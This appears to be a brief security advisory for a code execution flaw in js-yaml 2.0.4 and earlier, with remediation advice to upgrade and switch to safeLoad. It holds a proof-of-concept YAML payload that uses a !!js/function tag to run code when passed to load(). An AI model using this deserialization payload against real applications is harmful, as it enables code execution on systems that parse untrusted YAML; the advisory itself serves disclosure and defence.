Versions 2.0.4 and earlier of js-yaml are affected by a code execution vulnerability in the YAML deserializer.

Proof of Concept

const yaml = require('js-yaml');

const x = `test: !!js/function >
function f() { 
console.log(1); 
}();`

yaml.load(x);

Update js-yaml to version 2.0.5 or later, and ensure that all instances where the .load() method is called are updated to use .safeLoad() instead.